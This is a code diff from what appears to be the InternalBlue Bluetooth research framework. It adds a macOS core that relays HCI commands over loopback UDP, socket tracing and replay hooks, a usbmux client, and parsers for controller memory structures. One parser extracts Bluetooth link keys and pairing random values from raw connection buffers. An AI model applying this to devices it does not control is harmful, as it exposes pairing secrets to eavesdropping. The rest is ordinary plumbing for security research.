except socket.timeout:
|
||||
continue # this is ok. just try again without error
|
||||
continue # this is ok. just try again without error
|
||||
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0) #TODO not sure if this causes trouble?
|
||||
log.debug("H4 Data: %s", received_data)
|
||||
|
||||
log.debug("Recv: " + str(record[0]))
|
||||
(record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
|
||||
while record_data is not None:
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0)
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for queue, filter_function in self.registeredHciRecvQueues: # TODO filter_function not working with bluez modifications
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except Queue.Full:
|
||||
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
|
||||
log.debug("Recv: " + str(record[0]))
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
for callback in self.registeredHciCallbacks:
|
||||
callback(record)
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for (
|
||||
queue,
|
||||
filter_function,
|
||||
) in (
|
||||
self.registeredHciRecvQueues
|
||||
): # TODO filter_function not working with bluez modifications
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
log.warn("recvThreadFunc: The controller send a stack dump. stopping..")
|
||||
self.exit_requested = True
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
for callback in self.registeredHciCallbacks:
|
||||
callback(record)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
if self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
log.warn(
|
||||
"recvThreadFunc: The controller send a stack dump. stopping.."
|
||||
)
|
||||
self.exit_requested = True
|
||||
|
||||
(record_data, is_more) = self._getLatestH4Blob()
|
||||
if not is_more:
|
||||
break
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
|
||||
@@ -135,9 +256,8 @@ class iOSCore(InternalBlue):
|
||||
Close s_snoop and s_inject (which are the same)
|
||||
"""
|
||||
|
||||
if (self.s_inject != None):
|
||||
if self.s_inject is not None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
|
||||
return True
|
||||
|
||||
|
||||
@@ -0,0 +1,247 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
from __future__ import absolute_import
|
||||
|
||||
import random
|
||||
import time
|
||||
|
||||
from future import standard_library
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import socket
|
||||
import queue as queue2k
|
||||
from . import hci
|
||||
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, p8
|
||||
from .core import InternalBlue
|
||||
|
||||
import binascii
|
||||
import os
|
||||
|
||||
filepath = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
IOBE = None
|
||||
|
||||
|
||||
class macOSCore(InternalBlue):
|
||||
def __init__(
|
||||
self,
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
):
|
||||
super(macOSCore, self).__init__(
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory=".",
|
||||
replay=replay,
|
||||
)
|
||||
self.doublecheck = False
|
||||
self.iobe = None
|
||||
self.serial = None
|
||||
if not replay:
|
||||
import objc # type: ignore
|
||||
|
||||
objc.initFrameworkWrapper(
|
||||
"IOBluetoothExtended",
|
||||
frameworkIdentifier="de.tu-darmstadt.seemoo.IOBluetoothExtended",
|
||||
frameworkPath=objc.pathForFramework(
|
||||
filepath + "/../macos-framework/IOBluetoothExtended.framework"
|
||||
),
|
||||
globals=globals(),
|
||||
)
|
||||
self.hciport = -1
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
Get a list of connected devices
|
||||
"""
|
||||
|
||||
if self.exit_requested:
|
||||
self.shutdown()
|
||||
|
||||
if self.running:
|
||||
log.warn("Already running. Call shutdown() first!")
|
||||
return []
|
||||
|
||||
# assume that a explicitly specified iPhone exists
|
||||
device_list = [(self, "mac", "mac")]
|
||||
|
||||
return device_list
|
||||
|
||||
def local_connect(self):
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to target device.")
|
||||
self._teardownSockets()
|
||||
return True
|
||||
|
||||
def _setupSockets(self):
|
||||
self.hciport = random.randint(60000, 65535 - 1)
|
||||
log.debug(
|
||||
"_setupSockets: Selected random ports snoop=%d and inject=%d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
log.info(
|
||||
"Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
|
||||
# Create s_snoop socket
|
||||
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.s_snoop.bind(("127.0.0.1", self.hciport))
|
||||
self.s_snoop.settimeout(0.5)
|
||||
self.s_snoop.setblocking(True)
|
||||
|
||||
# Create s_inject
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self.s_inject.settimeout(0.5)
|
||||
self.s_inject.setblocking(True)
|
||||
|
||||
# Create IOBluetoothExtended Object that listens for commands,
|
||||
# sends them to the Bluetooth chip and replies via UDP socket.
|
||||
if not self.replay:
|
||||
self.iobe = IOBE.alloc().initWith_and_(
|
||||
str(self.hciport + 1), str(self.hciport)
|
||||
)
|
||||
else:
|
||||
self.iobe = None
|
||||
time.sleep(0.5)
|
||||
|
||||
return True
|
||||
|
||||
def _recvThreadFunc(self):
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# read record data
|
||||
try:
|
||||
data, addr = self.s_snoop.recvfrom(1024)
|
||||
record_data = bytearray(data)
|
||||
except socket.timeout:
|
||||
continue # this is ok. just try again without error
|
||||
|
||||
if not self.exit_requested:
|
||||
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
|
||||
record = (
|
||||
hci.parse_hci_packet(record_data),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
) # TODO not sure if this causes trouble?
|
||||
log.debug("Recv: " + str(record[0]))
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
for (
|
||||
queue,
|
||||
filter_function,
|
||||
) in (
|
||||
self.registeredHciRecvQueues
|
||||
): # TODO filter_function not working with bluez modifications
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue.Full:
|
||||
log.warn(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets..>"
|
||||
+ str(record_data)
|
||||
)
|
||||
|
||||
# Call all callback functions inside registeredHciCallbacks and pass the
|
||||
# record as argument.
|
||||
for callback in self.registeredHciCallbacks:
|
||||
callback(record)
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
|
||||
def _sendThreadFunc(self):
|
||||
log.debug("Send Thread started.")
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Wait for 'send task' in send queue
|
||||
try:
|
||||
task = self.sendQueue.get(timeout=0.5)
|
||||
except queue2k.Empty:
|
||||
continue
|
||||
|
||||
# Extract the components of the task
|
||||
h4type, data, queue, filter_function = task
|
||||
|
||||
# Prepend UART TYPE and length.
|
||||
out = p8(h4type) + p8(len(data)) + data
|
||||
|
||||
# Send command to the chip using IOBluetoothExtended framework
|
||||
h4type, data, queue, filter_function = task
|
||||
data = bytearray(data)
|
||||
opcode = format(data[1], "02x") + format(data[0], "02x")
|
||||
|
||||
log.debug(
|
||||
"Sending command: 0x"
|
||||
+ "".join(format(x, "02x") for x in data)
|
||||
+ ", opcode: "
|
||||
+ opcode
|
||||
)
|
||||
|
||||
if not (h4type == 0x01 or h4type == 0x02):
|
||||
log.warn("H4 Type {0} not supported by macOS Core!".format(str(h4type)))
|
||||
if queue is not None:
|
||||
queue.put(None)
|
||||
continue
|
||||
|
||||
# if the caller expects a response: register a queue to receive the response
|
||||
if queue is not None and filter_function is not None:
|
||||
recvQueue = queue2k.Queue(1)
|
||||
self.registerHciRecvQueue(recvQueue, filter_function)
|
||||
|
||||
# Sending command
|
||||
self.s_inject.sendto(out, ("127.0.0.1", self.hciport + 1))
|
||||
|
||||
# if the caller expects a response:
|
||||
# Wait for the HCI event response by polling the recvQueue
|
||||
if queue is not None and filter_function is not None:
|
||||
try:
|
||||
record = recvQueue.get(timeout=10)
|
||||
hcipkt = record[0]
|
||||
data = hcipkt.data
|
||||
except queue2k.Empty:
|
||||
log.warn("_sendThreadFunc: No response from the firmware.")
|
||||
data = None
|
||||
self.unregisterHciRecvQueue(recvQueue)
|
||||
continue
|
||||
|
||||
queue.put(data)
|
||||
self.unregisterHciRecvQueue(recvQueue)
|
||||
|
||||
log.debug("Send Thread terminated.")
|
||||
|
||||
def _teardownSockets(self):
|
||||
if self.s_inject is not None:
|
||||
self.s_inject.close()
|
||||
self.s_inject = None
|
||||
|
||||
if self.s_snoop is not None:
|
||||
self.s_snoop.close()
|
||||
self.s_snoop = None
|
||||
|
||||
return True
|
||||
|
||||
def shutdown(self):
|
||||
if not self.replay:
|
||||
self.iobe.shutdown()
|
||||
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
|
||||
super(macOSCore, self).shutdown()
|
||||
@@ -0,0 +1,86 @@
|
||||
from builtins import object
|
||||
from internalblue.utils.pwnlib_wrapper import u32, u16, u8
|
||||
from typing import Any
|
||||
|
||||
|
||||
class ConnectionInformation(object):
|
||||
connection_handle = 0
|
||||
connection_number = 0
|
||||
master_of_connection = False
|
||||
remote_name_address = 0
|
||||
remote_address = None
|
||||
id: bytearray
|
||||
public_rand = None
|
||||
extended_lmp_feat = None
|
||||
link_key = None
|
||||
tx_pwr_lvl_dBm = 0
|
||||
effective_key_len = 0
|
||||
host_supported_feat = None
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
connection_number,
|
||||
remote_address,
|
||||
remote_name_address,
|
||||
master_of_connection,
|
||||
connection_handle,
|
||||
public_rand,
|
||||
effective_key_len,
|
||||
link_key,
|
||||
tx_pwr_lvl_dBm,
|
||||
extended_lmp_feat,
|
||||
host_supported_feat,
|
||||
id,
|
||||
):
|
||||
self.connection_number = connection_number
|
||||
self.remote_address = remote_address
|
||||
self.remote_name_address = remote_name_address
|
||||
self.master_of_connection = master_of_connection
|
||||
self.connection_handle = connection_handle
|
||||
self.public_rand = public_rand
|
||||
self.effective_key_len = effective_key_len
|
||||
self.link_key = link_key
|
||||
self.tx_pwr_lvl_dBm = tx_pwr_lvl_dBm
|
||||
self.extended_lmp_feat = extended_lmp_feat
|
||||
self.host_supported_feat = host_supported_feat
|
||||
self.id = id
|
||||
|
||||
@staticmethod
|
||||
def from_connection_buffer(connection):
|
||||
|
||||
# Possible TODO: Convert this to a Katai Struct parser with a proper .ksy grammar.
|
||||
return ConnectionInformation(
|
||||
u32(connection[:4]),
|
||||
connection[0x28:0x2E][::-1],
|
||||
u32(connection[0x4C:0x50]),
|
||||
u32(connection[0x1C:0x20]) & 1 << 15 == 0,
|
||||
u16(connection[0x64:0x66]),
|
||||
connection[0x78:0x88],
|
||||
u8(connection[0xA7:0xA8]),
|
||||
connection[0x68 : 0x68 + u8(connection[0xA7:0xA8])],
|
||||
u8(connection[0x9C:0x9D]) - 127,
|
||||
connection[0x30:0x38],
|
||||
connection[0x38:0x40],
|
||||
connection[0x0C:0x0D],
|
||||
)
|
||||
# For some reason the following doesn't work because some attributes like link_key end up as one element tuples
|
||||
# connection_number = u32(connection[:4])
|
||||
# remote_address = connection[0x28:0x2E][::-1],
|
||||
# remote_name_address = u32(connection[0x4C:0x50])
|
||||
# master_of_connection = u32(connection[0x1C:0x20]) & 1 << 15 == 0
|
||||
# connection_handle = u16(connection[0x64:0x66])
|
||||
# public_rand = connection[0x78:0x88]
|
||||
# effective_key_len = u8(connection[0xa7:0xa8])
|
||||
# link_key = connection[0x68:0x68 + effective_key_len],
|
||||
# tx_pwr_lvl_dBm = u8(connection[0x9c:0x9d]) - 127,
|
||||
# extended_lmp_feat = connection[0x30:0x38]
|
||||
# host_supported_feat = connection[0x38:0x40]
|
||||
# id = connection[0x0c:0x0d]
|
||||
# return ConnectionInformation(connection_number, remote_address, remote_name_address, master_of_connection,
|
||||
# connection_handle,
|
||||
# public_rand, effective_key_len, link_key, tx_pwr_lvl_dBm, extended_lmp_feat,
|
||||
# host_supported_feat, id)
|
||||
|
||||
def __getitem__(self, item):
|
||||
# type: (str) -> Any
|
||||
return vars(self)[item]
|
||||
@@ -0,0 +1,58 @@
|
||||
from builtins import object
|
||||
from typing import Any
|
||||
|
||||
|
||||
class QueueElement(object):
|
||||
index = 0
|
||||
next_item = 0
|
||||
prev = 0
|
||||
capacity = 0
|
||||
name = ""
|
||||
queue_buf_start = 0
|
||||
available_items = 0
|
||||
item_size = 0
|
||||
next_free_slot = 0
|
||||
free_slots = 0
|
||||
address = 0
|
||||
waitlist_length = 0
|
||||
next = 0
|
||||
queue_buf_end = 0
|
||||
thread_waitlist = 0
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
index,
|
||||
address,
|
||||
item_size,
|
||||
capacity,
|
||||
available_items,
|
||||
free_slots,
|
||||
queue_buf_start,
|
||||
queue_buf_end,
|
||||
next_item,
|
||||
next_free_slot,
|
||||
thread_waitlist,
|
||||
waitlist_length,
|
||||
next,
|
||||
prev,
|
||||
name,
|
||||
):
|
||||
self.index = index
|
||||
self.next_item = next_item
|
||||
self.prev = prev
|
||||
self.capacity = capacity
|
||||
self.name = name
|
||||
self.queue_buf_start = queue_buf_start
|
||||
self.available_items = available_items
|
||||
self.item_size = item_size
|
||||
self.next_free_slot = next_free_slot
|
||||
self.free_slots = free_slots
|
||||
self.address = address
|
||||
self.waitlist_length = waitlist_length
|
||||
self.next = next
|
||||
self.queue_buf_end = queue_buf_end
|
||||
self.thread_waitlist = thread_waitlist
|
||||
|
||||
def __getitem__(self, item):
|
||||
# type: (str) -> Any
|
||||
return vars(self)[item]
|
||||
@@ -0,0 +1,308 @@
|
||||
from __future__ import print_function
|
||||
from builtins import object
|
||||
import binascii
|
||||
import time
|
||||
|
||||
|
||||
try:
|
||||
from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Dict, Type
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
|
||||
class SocketRecvHook(object):
|
||||
def __init__(self, socket):
|
||||
# type: (socket.socket) -> None
|
||||
self.snoop_socket = socket
|
||||
self.replace = False
|
||||
|
||||
def recv_hook(self, data):
|
||||
raise NotImplementedError("recv_hook not implemented")
|
||||
|
||||
def recv_replace(self, length, **kwargs):
|
||||
raise NotImplementedError("recv_replace not implemented")
|
||||
|
||||
def recv(self, length, **kwargs):
|
||||
if not self.replace:
|
||||
data = self.snoop_socket.recv(length, **kwargs)
|
||||
else:
|
||||
data = self.recv_replace(length, **kwargs)
|
||||
self.recv_hook(data)
|
||||
return data
|
||||
|
||||
def recvfrom_replace(self, length, **kwargs):
|
||||
raise NotImplementedError("recvfrom_replace not implemented")
|
||||
|
||||
def recvfrom_hook(self, data, addr):
|
||||
raise NotImplementedError("recvfrom_hook not implemented")
|
||||
|
||||
def recvfrom(self, length, **kwargs):
|
||||
# type: (int, Dict[str, Any]) -> Tuple[bytes, Any]
|
||||
if not self.replace:
|
||||
data, addr = self.snoop_socket.recvfrom(length)
|
||||
else:
|
||||
data, addr = self.recvfrom_replace(length, **kwargs)
|
||||
self.recvfrom_hook(data, addr)
|
||||
return data, addr
|
||||
|
||||
|
||||
class SocketInjectHook(object):
|
||||
def __init__(self, socket, core):
|
||||
# type: (socket.socket, InternalBlue) -> None
|
||||
self.inject_socket = socket
|
||||
self.replace = False
|
||||
self.core = core # type: InternalBlue
|
||||
|
||||
def close(self):
|
||||
if self.inject_socket:
|
||||
self.inject_socket.close()
|
||||
|
||||
def send(self, data):
|
||||
self.send_hook(data)
|
||||
if not self.replace:
|
||||
try:
|
||||
self.inject_socket.send(data)
|
||||
except Exception as e:
|
||||
self.send_exception(e)
|
||||
self.core.test_failed = e
|
||||
raise
|
||||
else:
|
||||
try:
|
||||
self.send_replace(data)
|
||||
except Exception as e:
|
||||
self.core.test_failed = e
|
||||
raise
|
||||
|
||||
def sendto(self, data, socket):
|
||||
self.sendto_hook(data, socket)
|
||||
if not self.replace:
|
||||
try:
|
||||
self.inject_socket.sendto(data, socket)
|
||||
except Exception as e:
|
||||
self.send_exception(e)
|
||||
self.core.test_failed = e
|
||||
raise
|
||||
else:
|
||||
try:
|
||||
self.send_replace(data)
|
||||
except Exception as e:
|
||||
self.core.test_failed = e
|
||||
raise
|
||||
|
||||
def getsockname(self):
|
||||
return self.snoop_socket.getsockname()
|
||||
|
||||
def send_hook(self, result):
|
||||
raise NotImplementedError("send_hook not implemented")
|
||||
|
||||
def sendto_hook(self, data, socket):
|
||||
raise NotImplementedError("sendto_hook not implemented")
|
||||
|
||||
def send_replace(self, data):
|
||||
raise NotImplementedError("send_replace not implemented")
|
||||
|
||||
def send_exception(self, e):
|
||||
raise NotImplementedError("send_exception not implemented")
|
||||
|
||||
|
||||
class SocketDuplexHook(SocketInjectHook, SocketRecvHook):
|
||||
def __init__(self, snoop_socket, inject_socket, core, **kwargs):
|
||||
# type: (socket.socket, socket.socket, InternalBlue, Dict[str, Any]) -> None
|
||||
self.snoop_socket = snoop_socket
|
||||
self.inject_socket = inject_socket
|
||||
self.replace = False
|
||||
self.core = core
|
||||
|
||||
pass
|
||||
|
||||
|
||||
class HookBase(object):
|
||||
def send_hook(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
def recv_hook(self, data):
|
||||
raise NotImplementedError
|
||||
|
||||
|
||||
class TraceToFileHook(SocketDuplexHook):
|
||||
def __init__(self, snoop_socket, inject_socket, core, filename="/tmp/bt_hci.log"):
|
||||
# type: (socket.socket, socket.socket, InternalBlue, str) -> None
|
||||
SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
|
||||
self.file = open(filename, "a")
|
||||
self.replace = False
|
||||
self.log = []
|
||||
self.closed = False
|
||||
|
||||
def recv_hook(self, data):
|
||||
line = "RX {}\n".format(binascii.hexlify(data))
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def send_hook(self, data):
|
||||
line = "TX {}\n".format(binascii.hexlify(data))
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def recvfrom_hook(self, data, socket, **kwargs):
|
||||
line = "RX {}\n".format(binascii.hexlify(data))
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
line = "TX {}\n".format(binascii.hexlify(data))
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def send_exception(self, e):
|
||||
line = "EX '{}'\n".format(e)
|
||||
print(line)
|
||||
self.log.append(line)
|
||||
|
||||
def close(self):
|
||||
if not self.closed:
|
||||
self.inject_socket.close()
|
||||
self.snoop_socket.close()
|
||||
self.log.append("Socket closed\n")
|
||||
self.file.writelines(self.log)
|
||||
self.file.close()
|
||||
self.closed = True
|
||||
|
||||
|
||||
import socket
|
||||
|
||||
|
||||
class PrintTrace(SocketDuplexHook):
|
||||
def send_hook(self, data, **kwargs):
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def recv_hook(self, data, **kwargs):
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def recvfrom_hook(self, data, addr, **kwargs):
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def send_exception(self, e):
|
||||
print("Exception: {}".format(e))
|
||||
|
||||
|
||||
class ReplaySocket(SocketDuplexHook):
|
||||
def __init__(
|
||||
self, snoop_socket, inject_socket, core, filename="/tmp/bt_hci.log", debug=False
|
||||
):
|
||||
SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
|
||||
self.replace = True
|
||||
with open(filename) as f:
|
||||
self.log = f.readlines()
|
||||
self.index = 0
|
||||
self.debug = debug
|
||||
if self.log[0].startswith("#"):
|
||||
self.index = 1
|
||||
|
||||
def send_hook(self, data, **kwargs):
|
||||
if self.debug:
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def recv_hook(self, data, **kwargs):
|
||||
if self.debug:
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def recvfrom_hook(self, data, addr, **kwargs):
|
||||
if self.debug:
|
||||
print("Recv: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def sendto_hook(self, data, socket, **kwargs):
|
||||
if self.debug:
|
||||
print("Sent: {}".format(binascii.hexlify(data)))
|
||||
|
||||
def send_exception(self, e):
|
||||
if self.debug:
|
||||
print("Exception: {}".format(e))
|
||||
|
||||
def send_replace(self, data, **kwargs):
|
||||
encoded_data = "" # type: str
|
||||
hex_data = binascii.hexlify(data)
|
||||
direction, encoded_data = self.log[self.index].split(" ", 1)
|
||||
if direction == "RX":
|
||||
# Some recieves aren't handled yet, wait a bit so the recv thread takes care of them.
|
||||
time.sleep(0.2)
|
||||
direction, encoded_data = self.log[self.index].split(" ", 1)
|
||||
assert direction == "TX"
|
||||
log_data = binascii.unhexlify(encoded_data.rstrip("\n"))
|
||||
assert data == log_data, "Got {}, expected {}".format(hex_data, encoded_data)
|
||||
self.index += 1
|
||||
ty, data = self.log[self.index].split(" ", 1)
|
||||
if ty == "EX":
|
||||
self.index += 1
|
||||
raise socket.error(data)
|
||||
|
||||
def recv_replace(self, length, **kwargs):
|
||||
time.sleep(0.001)
|
||||
direction, encoded_data = self.log[self.index].split(" ", 1)
|
||||
if direction == "RX":
|
||||
self.index += 1
|
||||
return binascii.unhexlify(encoded_data.rstrip("\n"))
|
||||
else:
|
||||
raise socket.timeout()
|
||||
|
||||
def recvfrom_replace(self, length, **kwargs):
|
||||
time.sleep(0.001)
|
||||
direction, encoded_data = self.log[self.index].split(" ", 1)
|
||||
if direction == "RX":
|
||||
self.index += 1
|
||||
return binascii.unhexlify(encoded_data.rstrip("\n")), 1234
|
||||
else:
|
||||
raise socket.timeout()
|
||||
|
||||
def getsockname(self):
|
||||
return (None, 0)
|
||||
|
||||
def close(self):
|
||||
assert self.index + 1 == len(self.log)
|
||||
|
||||
|
||||
from internalblue.core import InternalBlue
|
||||
|
||||
|
||||
def hook(core, socket_hook, **hookkwargs):
|
||||
# type: (Type[InternalBlue], Type[SocketDuplexHook], Any) -> None
|
||||
|
||||
def wrap_socket_setup(orig_func):
|
||||
def wrapped_socket_setup(self, *args, **kwargs):
|
||||
if not self.replay:
|
||||
status = orig_func(self, *args, **kwargs)
|
||||
else:
|
||||
status = True
|
||||
h = socket_hook(self.s_snoop, self.s_inject, core=self, **hookkwargs)
|
||||
self.s_inject = h
|
||||
self.s_snoop = h
|
||||
return status
|
||||
|
||||
return wrapped_socket_setup
|
||||
|
||||
core._setupSockets = wrap_socket_setup(core._setupSockets)
|
||||
|
||||
def wrap_teardown_sockets(orig_func):
|
||||
def wrapped_teardown_sockets(self, *args, **kwargs):
|
||||
if not self.replay:
|
||||
return orig_func(self, *args, **kwargs)
|
||||
else:
|
||||
self.s_inject.close()
|
||||
self.s_snoop.close()
|
||||
|
||||
return wrapped_teardown_sockets
|
||||
|
||||
core._teardownSockets = wrap_teardown_sockets(core._teardownSockets)
|
||||
|
||||
def wrap_device_list(orig_func):
|
||||
def wrapped_device_list(self, *args, **kwargs):
|
||||
if not self.replay:
|
||||
return orig_func(self, *args, **kwargs)
|
||||
else:
|
||||
return [(self, "ReplayDevice", "ReplayDevice")]
|
||||
|
||||
return wrapped_device_list
|
||||
|
||||
core.device_list = wrap_device_list(core.device_list)
|
||||
@@ -0,0 +1,234 @@
|
||||
#
|
||||
# usbmux.py - usbmux client library for Python
|
||||
#
|
||||
# Copyright (C) 2009 Hector Martin "marcan" <hector@marcansoft.com>
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 2 or version 3.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import socket, struct, select, sys
|
||||
|
||||
try:
|
||||
import plistlib
|
||||
haveplist = True
|
||||
except:
|
||||
haveplist = False
|
||||
|
||||
class MuxError(Exception):
|
||||
pass
|
||||
|
||||
class MuxVersionError(MuxError):
|
||||
pass
|
||||
|
||||
class SafeStreamSocket:
|
||||
def __init__(self, address, family):
|
||||
self.sock = socket.socket(family, socket.SOCK_STREAM)
|
||||
self.sock.connect(address)
|
||||
def send(self, msg):
|
||||
totalsent = 0
|
||||
while totalsent < len(msg):
|
||||
sent = self.sock.send(msg[totalsent:])
|
||||
if sent == 0:
|
||||
raise MuxError("socket connection broken")
|
||||
totalsent = totalsent + sent
|
||||
def recv(self, size):
|
||||
msg = b''
|
||||
while len(msg) < size:
|
||||
chunk = self.sock.recv(size-len(msg))
|
||||
if chunk == b'':
|
||||
raise MuxError("socket connection broken")
|
||||
msg = msg + chunk
|
||||
return msg
|
||||
|
||||
class MuxDevice(object):
|
||||
def __init__(self, devid, usbprod, serial, location):
|
||||
self.devid = devid
|
||||
self.usbprod = usbprod
|
||||
self.serial = serial
|
||||
self.location = location
|
||||
def __str__(self):
|
||||
return "<MuxDevice: ID %d ProdID 0x%04x Serial '%s' Location 0x%x>"%(self.devid, self.usbprod, self.serial, self.location)
|
||||
|
||||
class BinaryProtocol(object):
|
||||
TYPE_RESULT = 1
|
||||
TYPE_CONNECT = 2
|
||||
TYPE_LISTEN = 3
|
||||
TYPE_DEVICE_ADD = 4
|
||||
TYPE_DEVICE_REMOVE = 5
|
||||
VERSION = 0
|
||||
def __init__(self, socket):
|
||||
self.socket = socket
|
||||
self.connected = False
|
||||
|
||||
def _pack(self, req, payload):
|
||||
if req == self.TYPE_CONNECT:
|
||||
return struct.pack("IH", payload['DeviceID'], payload['PortNumber']) + b'\x00\x00'
|
||||
elif req == self.TYPE_LISTEN:
|
||||
return b""
|
||||
else:
|
||||
raise ValueError("Invalid outgoing request type %d"%req)
|
||||
|
||||
def _unpack(self, resp, payload):
|
||||
if resp == self.TYPE_RESULT:
|
||||
return {'Number':struct.unpack("I", payload)[0]}
|
||||
elif resp == self.TYPE_DEVICE_ADD:
|
||||
devid, usbpid, serial, pad, location = struct.unpack("IH256sHI", payload)
|
||||
serial = serial.split(b'\00')[0]
|
||||
return {'DeviceID': devid, 'Properties': {'LocationID': location, 'SerialNumber': serial, 'ProductID': usbpid}}
|
||||
elif resp == self.TYPE_DEVICE_REMOVE:
|
||||
devid = struct.unpack("I", payload)[0]
|
||||
return {'DeviceID': devid}
|
||||
else:
|
||||
raise MuxError("Invalid incoming request type %d"%req)
|
||||
|
||||
def sendpacket(self, req, tag, payload={}):
|
||||
payload = self._pack(req, payload)
|
||||
if self.connected:
|
||||
raise MuxError("Mux is connected, cannot issue control packets")
|
||||
length = 16 + len(payload)
|
||||
data = struct.pack("IIII", length, self.VERSION, req, tag) + payload
|
||||
self.socket.send(data)
|
||||
def getpacket(self):
|
||||
if self.connected:
|
||||
raise MuxError("Mux is connected, cannot issue control packets")
|
||||
dlen = self.socket.recv(4)
|
||||
dlen = struct.unpack("I", dlen)[0]
|
||||
body = self.socket.recv(dlen - 4)
|
||||
version, resp, tag = struct.unpack("III",body[:0xc])
|
||||
if version != self.VERSION:
|
||||
raise MuxVersionError("Version mismatch: expected %d, got %d"%(self.VERSION,version))
|
||||
payload = self._unpack(resp, body[0xc:])
|
||||
return (resp, tag, payload)
|
||||
|
||||
class PlistProtocol(BinaryProtocol):
|
||||
TYPE_RESULT = "Result"
|
||||
TYPE_CONNECT = "Connect"
|
||||
TYPE_LISTEN = "Listen"
|
||||
TYPE_DEVICE_ADD = "Attached"
|
||||
TYPE_DEVICE_REMOVE = "Detached" #???
|
||||
TYPE_PLIST = 8
|
||||
VERSION = 1
|
||||
def __init__(self, socket):
|
||||
if not haveplist:
|
||||
raise Exception("You need the plistlib module")
|
||||
BinaryProtocol.__init__(self, socket)
|
||||
|
||||
def _pack(self, req, payload):
|
||||
return payload
|
||||
|
||||
def _unpack(self, resp, payload):
|
||||
return payload
|
||||
|
||||
def sendpacket(self, req, tag, payload={}):
|
